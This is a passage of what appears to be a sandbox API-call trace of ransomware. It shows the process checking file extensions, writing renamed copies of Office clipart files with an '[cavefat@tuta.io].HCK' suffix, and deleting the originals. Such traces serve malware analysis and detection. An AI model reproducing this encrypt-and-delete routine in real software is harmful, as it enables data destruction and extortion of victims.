(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0164.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.803] lstrlenW (lpString=".doc") returned 4 [0164.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.803] lstrlenW (lpString=".docx") returned 5 [0164.803] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0164.803] lstrlenW (lpString=".pdf") returned 4 [0164.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.803] lstrlenW (lpString=".xls") returned 4 [0164.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.803] lstrlenW (lpString=".xlsx") returned 5 [0164.803] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0164.803] lstrlenW (lpString=".ppt") returned 4 [0164.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.803] lstrlenW (lpString=".zip") returned 4 [0164.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.803] lstrlenW (lpString=".rar") returned 4 [0164.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.803] lstrlenW (lpString=".bz2") returned 4 [0164.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.803] lstrlenW (lpString=".7z") returned 3 [0164.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.803] lstrlenW (lpString=".dbf") returned 4 [0164.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.803] lstrlenW (lpString=".1cd") returned 4 [0164.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.803] lstrlenW (lpString=".jpg") returned 4 [0164.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.804] lstrlenW (lpString=".doc") returned 4 [0164.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString=".docx") returned 5 [0164.804] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0164.804] lstrlenW (lpString=".pdf") returned 4 [0164.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString=".xls") returned 4 [0164.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.804] lstrlenW (lpString=".xlsx") returned 5 [0164.804] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0164.804] lstrlenW (lpString=".ppt") returned 4 [0164.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.804] lstrlenW (lpString=".zip") returned 4 [0164.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.804] lstrlenW (lpString=".rar") returned 4 [0164.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString=".bz2") returned 4 [0164.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString=".7z") returned 3 [0164.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.804] lstrlenW (lpString=".dbf") returned 4 [0164.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.804] lstrlenW (lpString=".1cd") returned 4 [0164.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0164.804] lstrlenW (lpString=".jpg") returned 4 [0164.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.804] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.804] lstrlenW (lpString="J0099183.WMF") returned 12 [0164.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.805] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4946) returned 1 [0164.805] CloseHandle (hObject=0x380) returned 1 [0164.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0164.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.805] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.805] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.805] GetLastError () returned 0x0 [0164.805] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1352, lpOverlapped=0x0) returned 1 [0164.807] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1360, lpOverlapped=0x0) returned 1 [0164.807] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.807] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.808] SetEndOfFile (hFile=0x388) returned 1 [0164.808] CloseHandle (hObject=0x388) returned 1 [0164.808] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.808] SetEndOfFile (hFile=0x380) returned 1 [0164.808] CloseHandle (hObject=0x380) returned 1 [0164.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0164.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.809] lstrlenW (lpString=".doc") returned 4 [0164.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.809] lstrlenW (lpString=".docx") returned 5 [0164.809] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0164.809] lstrlenW (lpString=".pdf") returned 4 [0164.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.809] lstrlenW (lpString=".xls") returned 4 [0164.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.809] lstrlenW (lpString=".xlsx") returned 5 [0164.809] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0164.809] lstrlenW (lpString=".ppt") returned 4 [0164.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.809] lstrlenW (lpString=".zip") returned 4 [0164.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.809] lstrlenW (lpString=".rar") returned 4 [0164.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.809] lstrlenW (lpString=".bz2") returned 4 [0164.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.810] lstrlenW (lpString=".7z") returned 3 [0164.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.810] lstrlenW (lpString=".dbf") returned 4 [0164.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.810] lstrlenW (lpString=".1cd") returned 4 [0164.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.810] lstrlenW (lpString=".jpg") returned 4 [0164.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0164.810] lstrlenW (lpString=".doc") returned 4 [0164.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.810] lstrlenW (lpString=".docx") returned 5 [0164.810] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0164.810] lstrlenW (lpString=".pdf") returned 4 [0164.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.810] lstrlenW (lpString=".xls") returned 4 [0165.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.204] lstrlenW (lpString=".xlsx") returned 5 [0165.204] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0165.204] lstrlenW (lpString=".ppt") returned 4 [0165.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0165.204] lstrlenW (lpString=".zip") returned 4 [0165.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.204] lstrlenW (lpString=".rar") returned 4 [0165.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.204] lstrlenW (lpString=".bz2") returned 4 [0165.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.204] lstrlenW (lpString=".7z") returned 3 [0165.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0165.204] lstrlenW (lpString=".dbf") returned 4 [0165.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0165.204] lstrlenW (lpString=".1cd") returned 4 [0165.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0165.204] lstrlenW (lpString=".jpg") returned 4 [0165.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.204] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.204] lstrlenW (lpString="J0099205.WMF") returned 12 [0165.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.205] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17854) returned 1 [0165.205] CloseHandle (hObject=0x39c) returned 1 [0165.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0165.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.205] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.205] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.206] GetLastError () returned 0x0 [0165.206] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x45be, lpOverlapped=0x0) returned 1 [0165.208] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0165.211] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.211] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.211] SetEndOfFile (hFile=0x330) returned 1 [0165.211] CloseHandle (hObject=0x330) returned 1 [0165.211] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.211] SetEndOfFile (hFile=0x39c) returned 1 [0165.212] CloseHandle (hObject=0x39c) returned 1 [0165.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString=".doc") returned 4 [0165.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString=".docx") returned 5 [0165.213] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0165.213] lstrlenW (lpString=".pdf") returned 4 [0165.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString=".xls") returned 4 [0165.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.213] lstrlenW (lpString=".xlsx") returned 5 [0165.213] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0165.213] lstrlenW (lpString=".ppt") returned 4 [0165.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString=".zip") returned 4 [0165.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.213] lstrlenW (lpString=".rar") returned 4 [0165.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString=".bz2") returned 4 [0165.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString=".7z") returned 3 [0165.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString=".dbf") returned 4 [0165.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString=".1cd") returned 4 [0165.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString=".jpg") returned 4 [0165.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString=".doc") returned 4 [0165.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString=".docx") returned 5 [0165.213] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0165.213] lstrlenW (lpString=".pdf") returned 4 [0165.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString=".xls") returned 4 [0165.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.213] lstrlenW (lpString=".xlsx") returned 5 [0165.213] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0165.213] lstrlenW (lpString=".ppt") returned 4 [0165.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.213] lstrlenW (lpString=".zip") returned 4 [0165.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.213] lstrlenW (lpString=".rar") returned 4 [0165.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.214] lstrlenW (lpString=".bz2") returned 4 [0165.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.214] lstrlenW (lpString=".7z") returned 3 [0165.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.214] lstrlenW (lpString=".dbf") returned 4 [0165.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.214] lstrlenW (lpString=".1cd") returned 4 [0165.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0165.214] lstrlenW (lpString=".jpg") returned 4 [0165.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.214] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.214] lstrlenW (lpString="J0101856.BMP") returned 12 [0165.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.214] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=78840) returned 1 [0165.214] CloseHandle (hObject=0x39c) returned 1 [0165.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0165.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.214] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.214] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.215] GetLastError () returned 0x0 [0165.215] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x133f8, lpOverlapped=0x0) returned 1 [0165.217] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x13400, lpOverlapped=0x0) returned 1 [0165.219] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.219] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.219] SetEndOfFile (hFile=0x330) returned 1 [0165.219] CloseHandle (hObject=0x330) returned 1 [0165.219] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.219] SetEndOfFile (hFile=0x39c) returned 1 [0165.220] CloseHandle (hObject=0x39c) returned 1 [0165.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0165.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 